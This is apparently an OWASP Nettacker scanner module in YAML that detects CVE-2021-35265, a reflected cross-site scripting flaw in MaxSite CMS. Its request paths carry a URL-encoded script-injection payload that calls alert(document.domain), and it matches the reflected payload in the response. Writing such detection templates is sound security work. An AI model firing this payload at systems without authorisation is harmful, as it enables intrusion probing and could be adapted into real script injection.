info:
  name: maxsite_cms_cve_2021_35265_vuln
  author: OWASP Nettacker Team
  severity: 6
  description: Reflected cross-site scripting (XSS) vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page.
  reference: 
    - https://github.com/maxsite/cms/issues/414#issue-726249183
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35265
  profiles:
    - vuln
    - vulnerability
    - http
    - medium_severity
    - cve2021
    - cve
    - maxsite
    - xss

payloads:
  - library: http
    steps:
      - method: get
        timeout: 3
        headers:
          User-Agent: "{user_agent}"
        allow_redirects: false
        ssl: false
        url:
          nettacker_fuzzer:
            input_format: "{{schema}}://{target}:{{ports}}/{{paths}}"
            prefix: ""
            suffix: ""
            interceptors:
            data:
              schema:
                - "http"
                - "https"
              ports:
                - 80
                - 443
              paths:
                - page/1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
                - maxsite/page/1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
        
        response:
          condition_type: and
          conditions:
            status_code:
              regex: '200'
              reverse: false
            header:
              Content-type: 
                regex: text/html
                reverse: false
            content:
              regex: <\/script><script>alert\(document\.domain\)<\/script>
              reverse: false
